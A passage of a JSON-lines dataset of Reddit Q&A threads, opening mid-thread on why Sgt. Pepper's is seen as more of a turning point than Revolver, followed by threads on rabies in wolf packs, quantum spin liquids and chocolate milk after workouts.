remembering as well that in America we didn't get the same Revolver that they got in the UK. Sgt. Pepper's was the first Beatles album that the US got without interference and resequencing. So the experimental nature of Revolver as a ehole was less obvious to American audiences. ", "Better songs...with the exception of Good Morning Good Morning and Within You Without You I could listen to them all day long.    The only songs on Revolver I might leave on repeat are And Your Bird Can Sing, Doctor Robert, and I'm Only Sleeping.  The rest of the songs are not bad.  It's just that beneath all of the studio innovations the melodies are a bit more like other bands and therefore I don't want to hear them quite as often.   From a purely technical engineering perspective Revolver is more impressive.  If just one person were to sing the songs at home with a guitar or piano Sgt. Pepper would be more fun.  I also think Paul's bass playing got much more skillful between Revolver and Sgt. Pepper (though you need a 1960's vinyl pressing through decent headphones to hear the bass properly.) ", "I have no idea why, but almost every single morning in middle school I would listen to \"Good Morning, Good Morning\" on the bus. I was only like 11 but I loved that freaking song so much and I think it's because of that deep bass/trombone sound. Almost a decade later it's still one of my favorite Beatles songs", "Just an aside...\n\n\"THE BEATLES INSPIRED PET SOUNDS, THEN PET SOUNDS INSPIRED THE BEATLES.\nPet Sounds was a hit in the UK, where it topped the charts. Before its release there, Brian Wilson's tour fill-in Bruce Johnston took two copies with him to London and managed\u2014through Beach Boys fanatic Keith Moon\u2014to arrange a meeting at a hotel with John Lennon and Paul McCartney to play it for them. They listened to it once through, paused, and immediately asked to hear the album again. Shortly afterward, the two began to work on Sgt. Pepper's Lonely Hearts Club Band.\"\n\n_URL_0_", "adding to the top reply, Sgt Pepper doesn't sound crazy af because all music since has been informed by it. revolver may sound more transgressive to your ear, but that's with decades of perspective. ", "\"In this film, Howard Goodall shows that it is the sheer ambition of Sgt Pepper - in its conception, composition, arrangements and innovative recording techniques - that sets it apart\"\n\n[_URL_0_](_URL_0_)", "I think it has less to do with the technical innovations that many others have commented on and more to do with the music itself. In comparison to other popular music of the day, Pepper was (and remains) much more sophisticated. Listen to the chord changes and McCartney's melodic bass lines. Notice how uncluttered the compositions are - it sounds more like a well-produced jazz record than a psychedelic extravaganza. Moreover, a number of the songs are truly progressive - no one else at the time was recording songs like Within You, Without You; She's Leaving Home; or A Day in the Life. And again, I'm referring to the compositions, not just the recording gimmicks. ", "Sgt. Pepper was so groundbreaking because it was one of the first \u201cconcept albums\u201d, and was greatly [influenced by what is considered to be the first concept album, Pet Sounds - Beach Boys.](_URL_0_)\n\nThese albums focus on one theme and sound, and the songs are curated to flow together. This is in comparison to every other album of the time that were a collection of singles that the record company threw together and dictated the albums order. This idea of a concept album greatly influenced any rock album that came after to and many of today\u2019s great albums are very much concept.\n", "There's a lot of really good answers on the mechanics of the music, but a lot of them miss the cultural implications. Take the cover for instance- the figures that the Beatles chose reflected many sides of society. \n\nThere are intellectual theorists like Karl Marx, visionary writers like Oscar Wilde, a Hindu Guru etc. Sgt Peppers was a persona the Beatles took on that appealed to everyone. The intricate and detailed instrumentation blew critics away  &  the incredibly tight songwriting and lyricism connected with the casual listener. \n\nTiming is important as well. Sgt Peppers came out in June 1967- the Summer of Love baby!! I was born 31 years later, so I can't speak from personal experience but the Beatles were everything that summer. \n\n-Joe Cocker did an absolutely ASTOUNDING cover of With a Little Help From My Friends at Woodstock, [performance ](_URL_1_) \n\n-Just days after, Jimi Hendrix turned the intro track into a distorted and gritty masterpiece in front of the most influential musicians in the world (including the Beatles) [performance ](_URL_2_) \n\n- In July, The Beatles debuted \"All You Need is Love.\" in a live performance broadcasted to million representing Britain to the world. [full video is copyrighted :(](_URL_3_) \n\nThe story of the Beatles is riddled with luck, right from the days of The Quarrymen. I think that Revolver just didn't hit the right themes at the right time. \n\nP.S. If anyone's interested in learning more about the album cover, check this out: [How the Beatles Changed Album Covers](_URL_0_) ", "I\u2019d just like to say this thread warms my heart. There\u2019s a lot of \u201cthe Beatles are overrated\u201d crap tossed around on the Internet today and it sort of infuriates me. I think a lot of people can\u2019t distinguish between something being overrated and something they simply don\u2019t care for. \n\nI\u2019m not sure the Beatles can really even be overrated. They influenced culture, revolutionized popular music, and sold literally a billion records. At one point in time they occupied the top 5 spots on the Billboard 100.\n\nThey evolved their sound and redefined what music can be with every record they released and every British record they released was a classic. Every major UK release of theirs was a number one album, eleven in total. All of this in about 7 years. \n\nTo the point of the original post, I love how OP wonders why Revolver is less appreciated as a revolutionary album. I wonder the same thing myself.\n\nThe dark orchestral driven Eleanor Rigby, the backward guitars in I\u2019m Only Sleeping, the Indian sound of Love You To, the druggy implications of Doctor Robert, the utterly insane originality of Tomorrow Never Knows. It\u2019s a mind-boggling record especially when considered in the context of 1966.\n\nI suppose the thing about Sgt. Pepper\u2019s is that it was even more out there and yet more sonically uniform and the concept idea behind it sort of elevates it from a collection of great songs into a complete work of art. \n\nStill, Revolver is my favorite. ", "Odd that I\u2019ve seen literally no one yet mention the most influential three-album stretch maybe in history that was wrapping up in 1966 with one of the greatest albums ever made: *Blonde on Blonde*\n\n*Bringing It All Back Home* and especially *Highway 61 Revisited* were basically redefining genre - there was no \u201cfolk rock\u201d before this - and then in 1966 Dylan\u2019s greatest album (to some; I prefer *Blood on the Tracks*) sucked all the air out of the room, in the states anyway\n\nYes, *Pet Sounds* came out within a month, but Dylan\u2019s work on the Beatles had been working on them for years, and was I\u2019d say the greater influence", " I sat in on a Recording arts class in college where our professor specifically talked about this. He said that from a recording industry /music industry stand point Sargent Pepper was a turing point because it was one of the first times the Album was as important!/more important as the singles on the album. It made bands focus on albums and not just getting in the top 100 for singles.. Before St Pepper 45's were what bands were focused on selling more of. ", "Lots of great comments. May I add some personal context?\n\nI was a precocious 11 in 1967, which also happened to be Canada's centennial year. Montreal hosted Expo 67, a World's Fair that hoped to attract 5 million visitors; in the event, it hosted over 50 million. I was lucky enough to attend it over 50 times myself. \n\nFor a smart boy of 11, Expo was a revelation. I found myself studying and learning much more intently than I did in school. The use of media such as multi-screen video, 360 degree movies, and even interactive movies was completely new then, unexpected and marvelous in a way we would find unthinkable today. I still remember the \"Man in the Arctic\" pavilion, where the screen was wide and low and near, and when the shot from a bush plane skimming over the ice came, everyone in the theatre leaned with the plane into the turns. It was for many of us our first brush with virtual reality. \n\nIn short, Expo was an explosion of creativity, and a sharp break from the past. Many of the new media and effects I saw there are now commonplace. And I suggest that Sgt. Peppers fits that same model in the pop music world. \n\nAs others have noted, the cover's four figures of the 'old' Beatles represent their monochrome past, preserved in wax, perhaps a *double entendre* only to us old folk. The new Fab Four, decked out in their multi-garb, would no longer be constrained to one style or one method. \n\nMany comments have talked about the studio prowess of Sgt Peppers. This was the same application of the new technology to music that Expo used for learning. And, like Expo, Sgt Peppers was ground breaking for that reason. \n\nFinally, 1967 was the Summer of Love, when everything seemed possible. Sgt. Pepper made a statement that you could change anything about yourself, it seemed - that you could adopt a completely new persona at will. Whether that *geist* has been taken too far at this particular *zeit* remains to be seen. \n\nI don't know if Sgt Peppers was a statement for, to, or of its time, but it was component of the wave of change engulfing us. When you combine all the attitudes and changes above, you can see how it was a unique expression in the musical world of that wave. \n\n", "Just wanted to say that Penny Lane and Strawberry Fields Forever were recorded in the Sgt Pepper sessions and released as singles and I don't care what any;body says I say they are part of SPLHCB!!!lol", "Sergeant Peppers begins with the Beatles singing and playing *as if* it's a live recording of an imaginary band named \"Sergeant Pepper's Lonely Heart Club Band.\" They even sing an introduction into the next song where Ringo sings as \"Billy Shears.\"\n\nIn the next to last song of the album that same imaginary band plays similar music and wishes the audience well, telling them that they \"hope they have enjoyed the show.\" This implies to the listener that the *entire album* was songs played by the imaginary band introduced in the first track.\n\nIt's a simple concept, but one that affects how the listener hears the entire album. In other words it is one of the earliest examples of a rock *concept album*.\n\nRock bands that came after the Beatles certainly liked and knew Revolver. But most bands were even more influenced by the idea of a concept album as laid out in Sgt. Peppers:\n\n* In the Who's *Tommy* the first track continues into the second track like Sgt Peppers, and the songs taken together tell a story\n* Jethro Tull's *Thick as a Brick* features detailed cover art (even more detailed than Sgt. Peppers) and the whole album is one *continuous* song with bookends much like Sgt. Peppers\n* Genesis' early albums are concept albums\n* ELP, Yes, King Crimson, and many other bands expanded greatly on the idea of the concept album\n\nThe list goes on and on.\n\nFinally, many bands after the Beatles also wrote \"concept songs\" that featured orchestral sounds and had more than a simple verse/chorus form. And a great number of those songs-- like Procol Harum's \"Simple Sister\"-- were clearly influenced  by the final song of Sgt. Peppers \"A Day in the Life.\" Whole genres of music like symphonic rock and prog rock were immensely influenced just by that song alone.\n\nIn other words, it's hard to understate the influence. Even the startup sound on a Mac is the final orchestral chord from the album!  Any time after 1967 that an artist told a producer they had \"an idea\" for an album, that album would inevitably be compared to Sgt. Peppers when released. While Revolver is a wonderful album, it  just isn't the cultural phenomenon that Sgt. Pepper's is for that reason.", "What I've always heard is that, in a time when the state of the art in recording was a four-track recorder, the Beatles took ONE four-track recorder and attached ANOTHER four-track recorder to each track, producing the first sixteen-track album--an album that utilized this new soundscape, changed what albums did, and justified the band's decision to stop touring because music on albums could now be different than it could ever be live.   \n\n\nI could be dead wrong about this, of course, but if it's true, it would certainly explain the album's importance in an efficient, ELI5 manner. ", "[51 and 1/2 years ago today, Sgt Peppers was released](_URL_0_)  Pretty good article from June 2017 on the recording techniques the Beatles had to create to get the sound they wanted. All whilst fending off the record label and fans who expected a new album much sooner. 40 minute album took 700 hours of studio time, TIL. ", "I don't have much to contribute here except my anecdote of finding my mom's Sgt peppers tape in my parent's collection when i\nI was 9, and lying on their bed listening to it over and over for hours, reading all the lyrics and looking at the bright pictures and wondering what the heck this was? Immediately shared it with my best friend and we formed a Beatles fan club. In the early 90s in rural Canada. So however they did it, this album transcends generations and got at least two little girls hooked on their music, decades later and thousands of miles away.", "Wow. I have a presentation on this in my culture class in 6 hours. Sgt peppers was the turning point because it was a deliberate stripping of what the Beatles were to make way for who they wanted to become. While revolver was experimental, this was a change into psychedelic rock over psychedelic \"pop\". \n\nSgt pepper also has \"she's leaving home\" which is credited to all the hippies leaving home and going to San Fran for the summer of love.  \n\nIt's not just about the albums, but what was going on in the world when they came out. ", "There are a lot of good points in other comments but I haven't seen anyone directly address this yet. By 1967, the Beatles were exhausted. They were touring and producing more music constantly. From 1963 to the end of 1966, The Beatles put out 9 records in 3 years, plus 2 movies and a dozen tours. When they put out Revolver before their final tour, they knew what they were doing. They needed a break and permanently retired from touring. \n\nYou can argue all day about which album is more musically advanced and sophisticated but at the end of it, Sgt. Pepper's was the first album to be completely designed for studio experimentation. The band was already focusing more heavily on the production side of their music as early as Rubber Soul, another more experimental album. Creating an album with no intention of ever performing the end product live allows for a lot more freedom and creativity. ", "I'll just say this. I'm not the biggest Beatles fan. I'm not by any means an expert in their contemporaries, either. But I remember exactly where I was when I first heard Seargent Peppers: in the back of my friends car, on my first ever trip to a big city, hung over with only 2 hours of sleep. I had no idea what he put on and I was planning of falling asleep in the back seat. Instead, I was enthralled. And I had no idea what I was listening to. Halfway through the record, I sheepishly asked \"WHAT IS THIS???\" thinking it was something much more modern than it was. This was around 2007. I loved it.\n\nI later listened to Revolver and it didn't do it for me. None of their other albums, really.", "Hi, I'm a flair in pop music history on /r/AskHistorians, and have [previously written answers like this](_URL_2_) to similar questions.\n\nThe answer to your question, basically, is in having a think about what it means to be a 'turning point'. For an album to be a turning point in the history of a genre, it basically has to change a lot of people's minds about what that genre should be in some way - which usually also means it has to be very popular; there's plenty of early experimental records that were not turning points, because nobody heard them. \n\nAnd *Sergeant Peppers* was simply a level above *Revolver* in popularity. I mean, Revolver *was* very popular - it was an album by the Beatles in the 1960s - it spent [six weeks at #1 in the US](_URL_1_). But that was a standard Beatles album by that point. Sgt Peppers, in contrast, spent [15 weeks at #1 in the US](_URL_1_), and *became the biggest selling album of the 1960s* - it's [one of two albums from the 1960s that has sold more than 20 million copies \\(the other being *Abbey Road*\\) according to this Wiki list](_URL_0_).\n\nAnd, well, something about the culture of 1966 and 1967, and people's understandings of the Beatles meant that *Sgt Peppers* felt right in 1967 in a way that *Revolver* didn't quite achieve in 1966. Remember that the Beatles were still touring as they released *Revolver*, and that 1966 was the year when the 'bigger than Jesus' controversy happened, with Beatles records being burned on big bonfires; the narrative about the Beatles in the press was that they weren't the force they used to be, two years after Beatlemania's first flush. But in 1967, it'd been announced that the Beatles had quit touring, and were focused on the studio, and so people were aware that *Sgt Peppers* was meant to be a special album in a way they weren't aware of that with *Revolver*. And 1966 might have been the Summer of Love in Haight-Ashbury and all that, but by 1967, the hippies and their values were much more well-known in the mainstream, and so *Sgt Peppers* made much more sense to the mainstream than *Revolver* had. \n\nAdditionally, 1967 is about when you start to see the rock press - *Rolling Stone* etc forming, and when major magazines and newspapers start to take rock music seriously as an artform to be criticised. As a result, the merits of *Sgt Peppers* were much more widely discussed in more upmarket venues for music criticism than *Revolver* had been the previous year.\n\nFinally, there are plenty of rock  &  roll albums before *Sgt Peppers*, including *Revolver* obviously (or *Please Please Me*), but the mid-1960s saw a transformation in the way the album was conceived. Whereas previously, the album was a collection of recordings of performances of songs, in the mid-1960s, with albums like *Revolver* or *Pet Sounds* or *Highway 61 Revisited* or *Freak Out!* or *The Velvet Underground  &  Nico*, the album became a thing in itself, the kind of thing that was carefully sequenced, with perhaps linkages between the songs, the kind of thing that might have a concept - and the kind of thing that existed *as an artifact in of itself* rather than an artifact containing a representation of a previous performance. *Sgt Peppers* heightened this by having some quite lavish packaging, including lyrics, artwork, and including little curios (like the music in the run out groove) that exploited the medium as a thing in of itself. Compared to *Revolver*, all of this made the general public *understand* this new concept of the album.\n\nAs a result of the critical acclaim surrounding *Sgt Peppers* (which was so acclaimed that a negative review in the *New York Times* got a deluge of hate mail and became a story in itself), and its enormous success, the music industry's focus with rock  &  roll pivoted from mostly focusing on singles to mostly focusing on albums. Before *Sgt Peppers* Frankie Valli  &  The Four Seasons released cheapie cash-in albums with names like *Big Girls Don't Cry  &  16 Other Big Hits*. After *Sgt Peppers*, they released albums with names like *The Genuine Imitation Life Gazette*, with lavish packaging that was as impressive as the album itself.\n\nAnd so *Sgt Peppers* - and its success - thus set the scene for the rock album as an every day normal thing that people listened to, discussed, reviewed, etc. That's primarily why it's a turning point in rock  &  roll, more so than *Revolver*: *Sgt Peppers* marks the point where you start to get albums that sell 20 million copies worldwide. Nine of the top ten best selling albums of all time worldwide according to that wiki list above come in the fifteen years after *Sgt Peppers*.", "Q: Who\u2019s your favorite Beatle?\n\nA: George Martin", "Revolver sounds experimental because its sounds didn\u2019t go mainstream. Sgt. Peppers doesn\u2019t sound revolutionary anymore because the stuff it pioneered became really popular. In general it\u2019s hard to know what past works revolutionized the industry precisely because they did so. A cliche is a cliche because it was once legitimately fresh and clever.", "It was an album meant to be played as a whole piece of art.\n\nAs opposed to a bunch of great songs on a record.\n\nI like the white album better ", "Hi, you might want to check out a couple of posts in /r/AskHistorians by /u/hillsonghoods \n\n_URL_1_\n\n_URL_0_\n\n", "The history of rock and roll is like any history of anything: it's less about 'What Happened' and more about 'What Happened Back Then That People Still Care About Today?' \n\nRevolver is amazing but it's rougher and more experimental, and was more about the Beatles head-tripping (see the cover). Sgt. Pepper's was more of a show or a spectacle that accessed popular culture and related to a greater audience. Have you ever noticed that records that the most people can relate to sell quite well? \n\n ", "There was also a tremendous amount of hype leading up to it's release. To those who were around for the lead-up and the anticipation, it seemed like Sgt Pepper was declared a classic before it was even released.", "It had a kind of energy and depth for its day that made it revolutionary. Whether or not that judgment holds up in hindsight, that's how it felt, that nothing could be ever be the same after it. The title track, with its wall of sound orchestration, was a powerful anthem that called up our (boomer) generation. It was experienced as transformative. ", "Because Sgt Pepper\u2019s is incorrectly credited as the first \u201cconcept album.\u201d That honor, I believe, goes to Frank Sinatra\u2019s Come Fly With Me, which came out like ten years earlier. So I suppose the combination of being a \u201cconcept album,\u201d musically experimental, and the \u201ceverything is best when you\u2019re fifteen\u201d for the baby boomers that have written the pop cultural canon. ", "S.f. Sorrow by the pretty things was also recorded at Abbey road same time as pepper and piper  and arguably influenced the who's Tommy yet always gets overlooked\n\n", "To be fair, I've done music my whole life, and I've actually never heard someone say that Sgt. Peppers was more influential than Revolver or Rubber Soul. Revolver is usually the one I've heard put in the same bracket as Exile on Main Street, and Pet Sounds, etc. \n\nI think Revolver is their Kid-A, and Pepper's is their OK Computer. Less experimental, but more of a cohesive whole.", "The musical landscapes created in Pepper are richer, the musical structures and the lyrics (the themes) are more complex. There's a dreamy quality to it, it's truly a trip, whereas Revolver is a collection of masterfully crafted pop songs (in my mind \"Tomorrow never knows\" clearly stands out). But you can argue that they both are masterpieces. And indeed they are.", "It was one of the first ever \u201cconcept albums.\u201d  The Beatles put out a record where for the whole album they pretended to be a band called Sergeant Pepper\u2019s Lonely Hearts Club Band, with their lead singer Billy Shears (really the drummer Ringo).\n\nIt also included huge hits like With a Little Help From my Friends and Lucy in the Sky with Diamonds.\n\nNo one had really ever heard anything like it before.", "College professor teaching a course on the Beatles here.\n\nFirst, you're right. The current consensus among music critics and historians is that *Revolver* is the better, more groundbreaking album. It was the first album that included many of the experiments that we come to associate with the Beatles: tape loops, backwards sounds, ADT/flange, classical music tropes, Indian music tropes, etc. Looking at it with some historical distance, it is the turning point in their career.\n\nBut at the time, *Sgt. Pepper* was considered the turning point, and that mostly has to do with the historical context. *Revolver* came out in August 1966, right at the height of the most controversial time for the Beatles, especially in America. John Lennon's Jesus comments, although given in March, became common knowledge that summer because of a few bigoted Southern DJs. The Beatles' previous Capitol album in America, *Yesterday And Today*, caused another minor controversy when it featured the Beatles smiling in butchers' smocks with dismembered baby dolls and cuts of meat all around them. This all happened just as they were embarking on their final American tour, and got done causing controversy in the Philippines by snubbing President (Dictator) Marcos and his wife Imelda. From a PR standpoint, it wasn't a good time for the Beatles.\n\nAnd since the album was such a musical departure, many people were confused by it ... at first.\n\nNow, up until *Revolver*, the Beatles released a new single every 3 months and a new album every six months. They had been doing this since 1963. Plus, they were known for live performances, and after that tour in August 1966, they made the decision to never your again. Beatles fans used to being inundated with records and performances were suddenly deprived of them. \n\nTheir next single came **six months** after *Revolver*: \"Penny Lane\"/\"Strawberry Fields Forever.\" In many ways it was a continuation of the *Revolver* experiments, but even more polished. People who had been listening to *Revolver* had begun to absorb its weirdness and are now clamoring for the next album, wondering when the now reclusive Beatles will emerge.\n\nIn June 1967, **almost a year** after *Revolver*, *Sgt. Pepper* finally arrives with its colorful packaging, its lyrics printed on the back (first time for a rock LP), and mysterious cover. There's not much that's overly \"new,\" but it has an interesting concept (the Beatles performing a live show with a different persona), plus a killer ending (\"A Day In The Life\" leaves a powerful impact on the listener, with its orchestral \"freak out\" and length). Combine this with all the anticipation around the Beatles, and you get a groundbreaking album. \n\nIt became the soundtrack to the \"Summer Of Love\" for everyone around the world, a time with lots of optimistic hope (part of the reason why it's thought of so fondly from people who lived through it). The memory of the Beatles controversy had faded away, replaced with the fear that they might break-up after ending their touring years (George Harrison thought it might be over for them).\n\nSo was it the *turning point* of their career? Probably not. But it *was* the culmination of a lot of trends for the Beatles. It was seen as a pinnacle of rock music fully merging with art, becoming something more than just a flash in the pan. Keep this in mind: it wasn't until *after* *Sgt. Pepper* that the idea of \"rock criticism\" came to be. *Sgt. Pepper* changed the game.", "If you have the odd hour free then it is worth watching Howard Goodall's [Sgt. Pepper's Musical Revolution](_URL_0_). He is very good in explaining music in layman's terms. He looks at production technology at the time and tries to deconstruct the layers of the songs until he gets to their musical roots. He does it in a very nice illustrative way.", "I think SPLHCB is a turning point because that's when rock and roll took off in a totally new direction. This is an album with sounds that had literally never been heard before in music. It was so experimental at the time. The Beatles had to mix so many different layers of tracks to create the songs that the production of it was a turning point in itself. Not to say Revolver didn't have much of the same, but I think they were just dipping their toes in the experimentation where Sergeant Peppers is them jumping in off the high dive. \n\nThat being said, I love 'Revolver' and I could literally listen to Tomorrow Never Knows on an endless loop. ", "I think Peppers had direct drug references. It was banned by BBC and lambasted by the VP of USA  for advocating drug use. \n\nRevolver really stuck to the old formats of pop music . The songs were wonderful with verses and hooks or choruses . Solo parts . Nice songs for sure. But with Peppers you have a real concept LP where the music and cover art are inseparable. Also the formats of the songs .... they go beyond. It really is progressive rock in structure . \n\nSo in brief revolver was not as cohesive as a concept LP from ground up. And Peppers arrangements and structures abandoned pop verse, chorus , bridge in important structures of the LP.  It also introduces self satire and self reflection in the band with alter egos. \n\nBut the lyrics with so many lyrics - that have cryptic meaning - all this makes Peppers more that the great collection of pop on revolver . \n\nPeppers was a progressive psychedelic concept LP . But revolver was still more adavanced garage pop rock . None of the studio wizards were re- inventing pop music before Peppers . That\u2019s basically it. ", "I think the best way it was put was by Roger Waters when he said he wouldn\u2019t have started playing music if he never listened to that album. ", "A follow up question- how come Revolver\u2019s sound quality is much better than sgt. Pepper\u2019s (not to mention Magical Mystery Tour which have even a muddier sound)?", "I'm sure someone else said it, but I haven't seen it on here. I know I'm late to the party.\n\nSgt. Peppers laid the groundwork for the Prog Rock movement in the 70s and 80s. It helped make Rock and Roll be seen as an artistic form, not just a new form of pop music. Technically interesting, classically skilled, musically \"deep\" rock that legitimized the highly technical side of rock and roll. Without Sgt Peppers, I'm not sure if we would've gotten Rush, Yes, Genesis, Jethro Tull, and even to some extent Boston.\n\nSo, personally, Sgt Peppers was the most important Beatles album for that reason alone.", "This was probably already stated by someone but Geoff Emerick, the engineer, went from a great engineer to a genius on Peppers. I\u2019d also recommend the book \u201cHere, There, and Everywhere\u201d. For an in depth look at Revolver and Peppers \u2014 and the work that went behind the scenes of both those monuments. ", "Beyond just the music, it was more emblematic of the broader cultural shift that was taking place. People were a little confused by the new Beatles of Revolver. At that point, they, and George Martin, were changing gears. Sgt. Pepper is more manifesto.", "Pepper was different because the insanity of Beatle Mania forced these 4 guys into a corner.  To paraphrase from A Hard Days Night, they went from a room to a car to a room to a train to a car to a room.  They couldn't hear themselves play at live gigs, they felt disconnected, so the album concept was to be somebody else.  It helped them cope, along with no more live shows.  Others may have done something similar but when the topper most of the poppermost does it, its groundbreaking.  Revolver and Rubbersoul were like hitting puberty, breaking out of the norm, exploring themes.  My favorite music is from that point forward, as they evolved away from the pop love suits and bowl cuts.  They had one of the three greatest partnerships me with Lennon/Mcartney.  \n(The other two to me are Tesla/Edison, and Jung/Freud.  We always like one better than the other, but together some really cool shit was created.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Send_tape_echo_echo_delay"], [], [], [], [], ["https://en.wikipedia.org/wiki/Billboard_Year-End_Hot_100_singles_of_1967"], [], [], ["https://www.youtube.com/watch?v=DaXnqw-Zv0Y", "https://www4.picturepush.com/photo/a/10599742/img/10599742.jpg", "https://www.rollingstone.com/wp-content/uploads/2018/06/gettyimages-592262012-13bd204b-6f80-41c9-ae3b-c4909338ad1b.jpg"], [], [], [], [], [], [], [], [], ["http://mentalfloss.com/article/59457/15-facts-about-pet-sounds"], [], ["https://www.dailymotion.com/video/x5p0cmc"], [], ["http://albumlinernotes.com/site/mobile?url=http%3A%2F%2Falbumlinernotes.com%2FPaul_McCartney_Comments.html#2857"], ["https://youtu.be/_st4diqjpis", "https://youtu.be/3s-dSoDptVc", "https://youtu.be/HLEboBA-Xzk", "https://youtu.be/t5ze_e4R9QY"], [], [], [], [], [], [], [], ["https://www.forbes.com/sites/kevinmurnane/2017/06/03/sgt-peppers-was-a-perfect-storm-of-musical-and-recording-creativity/#2c1050658a06"], [], [], [], [], ["https://en.wikipedia.org/wiki/List_of_best-selling_albums", "https://en.wikipedia.org/wiki/List_of_Billboard_200_number-one_albums_of_1966", "https://www.reddit.com/r/AskHistorians/comments/9aerj6/how_big_is_the_importance_of_album_the_beatles/e4uykyy/"], [], [], [], ["https://www.reddit.com/r/AskHistorians/comments/9qwyf2/in_a_short_time_period_and_in_the_height_of_their/", "https://www.reddit.com/r/AskHistorians/comments/9aerj6/how_big_is_the_importance_of_album_the_beatles/"], [], [], [], [], [], [], [], [], [], ["https://www.dailymotion.com/video/x6cbnv6"], [], [], [], [], [], [], [], []]}
{"q_id": "1mpxg7", "title": "How do wolves, and other social animals, deal with rabid individuals?", "selftext": "Given the tight social bonds of most wolf packs, how do they tend to respond to the behavioral changes, and sudden aggression exhibited by a rabies-infected individual?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1mpxg7/how_do_wolves_and_other_social_animals_deal_with/", "answers": {"a_id": ["ccby7da"], "score": [171], "text": ["They deal with it very poorly.\n\nRabies is a very successful virus in pack animals like wolves and wild dogs. The entire pack can be destroyed. Nipping at eachother a bit isn't far outside their normal behavior. Once most of the pack is dead the survivors disperse, but by then it's often too late for all of them. In areas where rabies hasn't existed before the effects are just apocalyptic when it is introduced.\n\nThis is a small clip from a documentary about a group of African wild dogs, which have names, where the alpha female contracts rabies partway through filming and they wind up documenting the destruction of the pack. [Warning: tearjerker, animal death](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blip.tv/wildcast/rabies-in-the-wild-dog-pack-228904"]]}
{"q_id": "16artx", "title": "How significant is the discovery of Quantum Spin Liquid?", "selftext": "PLEASE TRY TO KEEP THIS DISCUSSION AT THE LEVEL A PRE-PHYSICS HIGH SCHOOL-ER. I understand plenty about physics, however, but simply put, all I need to know how much the world has changed because of its discovery.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16artx/how_significant_is_the_discovery_of_quantum_spin/", "answers": {"a_id": ["c7ub038", "c7ubvwv", "c7uf841"], "score": [8, 3, 3], "text": ["I'll speak a little bit about the chemistry part, and maybe someone can talk about the physics part. The fact that the researchers were able to figure out how to synthesize a relatively large sample of Herbertsmithite is quite a feat already. It does not appear to be a straightforward inorganic chemistry problem. Some new experimental methods would have been discovered along the way.\n\nOvercoming the synthesis challenge is very important because naturally occurring samples of Herbertsmithite are too irregular to be used to show that under the right conditions it behaves like a quantum spin liquid. It is too early to speculate what uses there could be for such things, but what we do know is that these crystals could help us understand how electrons and their spins behave when they are constrained in a very unique way.", "\"Significance\" is difficult to judge sometimes. In the case of the quantum spin liquid, it is a unqiue quantum behavior of electrons that has been theorized/hypothesized for a while.  It just so happens that it has been long anticipated and desired by the physics community, hence the hubbub. The discovery in the lab is a stepping stone to understanding it better and seeing how it behaves in the real world, including by experimenting on it in ways that theorists may not know how to anticipate a priori. \n\nThink about the following: imagine the discovery of a new rocky planet, a few light-years away, that is within the goldilocks zone of its star (take note: this has happened many times now!). We don't know much else yet, including many important features: does it have water? enough other elements to support life? a robust atmosphere? a robust magnetosphere? As a result, we can't yet know how amazing any given planet will be. But each planet is it's own tantalizing discovery that will spur new research *on each planet individually* to see what exciting (or unexciting!) derivative discoveries may come. Given the number of planets now being discovered in the goldilocks zone, inevitably one of them will have the right mix of all those other properties to warrant serious consideration for more than just academic interest. \n\nBy analogy, the quantum spin liquid, or at least this particular manifestation of it, is one such recently discovered \"planet\" among many in the field of condensed matter physics -- it has just recently been revealed to exist, and what lies immediately before us is to investigate further. ", "To set the bar even lower: can anyone ELI5 what the QSL is so I can start understanding why it is important?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "jvdep", "title": "why is chocolate milk considered to be a good recovery drink after working out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jvdep/eli5_why_is_chocolate_milk_considered_to_be_a/", "answers": {"a_id": ["c2fesze", "c2fetz2", "c2ffl30", "c2fesze", "c2fetz2", "c2ffl30"], "score": [4, 2, 2, 4, 2, 2], "text": ["Milk is a good choice because of the protein and fat it contains.\n\nChocolate milk is said to be good because the ad agency for the milk industry said it is.  And more people like chocolate milk that regular milk (I'm assuming)", "After working out your body is depleted of sugars and in need of proteins to help repair worked muscles.\n\nChocolate milk is very similar in nutrition to more expensive recovery drinks, has a good mix of sugar/protein/fat at a fraction of the cost.", "Put simply, it has lots of the things your body needs. The three main \"macros\" are carbs, protein, and fat. We burn lots of carbs and some fat while exercising, and we need protein to rebuild our muscles afterward. [A serving of chocolate milk](_URL_0_) has 26g of carbs, 8g of fat, and 8g of protein.\n\nAlso, it's recommended to get simple carbs, like sugar, immediately after exercise. Most of the carbs in chocolate milk are sugar. When exercising, your body also uses up \"electrolytes\" -- the important ones include sodium, potassium, and calcium. Milk contains a significant amount of each of these (though it is relatively lowest in sodium) and other electrolytes.\n\nAs someone else pointed out, [whole milk](_URL_1_) is also a good choice, as the main difference is that chocolate milk has more sugar, but chocolate tastes better and goes down easier for many people, and the extra sugar could be a good thing post-workout.", "Milk is a good choice because of the protein and fat it contains.\n\nChocolate milk is said to be good because the ad agency for the milk industry said it is.  And more people like chocolate milk that regular milk (I'm assuming)", "After working out your body is depleted of sugars and in need of proteins to help repair worked muscles.\n\nChocolate milk is very similar in nutrition to more expensive recovery drinks, has a good mix of sugar/protein/fat at a fraction of the cost.", "Put simply, it has lots of the things your body needs. The three main \"macros\" are carbs, protein, and fat. We burn lots of carbs and some fat while exercising, and we need protein to rebuild our muscles afterward. [A serving of chocolate milk](_URL_0_) has 26g of carbs, 8g of fat, and 8g of protein.\n\nAlso, it's recommended to get simple carbs, like sugar, immediately after exercise. Most of the carbs in chocolate milk are sugar. When exercising, your body also uses up \"electrolytes\" -- the important ones include sodium, potassium, and calcium. Milk contains a significant amount of each of these (though it is relatively lowest in sodium) and other electrolytes.\n\nAs someone else pointed out, [whole milk](_URL_1_) is also a good choice, as the main difference is that chocolate milk has more sugar, but chocolate tastes better and goes down easier for many people, and the extra sugar could be a good thing post-workout."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://nutritiondata.self.com/facts/dairy-and-egg-products/90/2", "http://nutritiondata.self.com/facts/dairy-and-egg-products/69/2"], [], [], ["http://nutritiondata.self.com/facts/dairy-and-egg-products/90/2", "http://nutritiondata.self.com/facts/dairy-and-egg-products/69/2"]]}
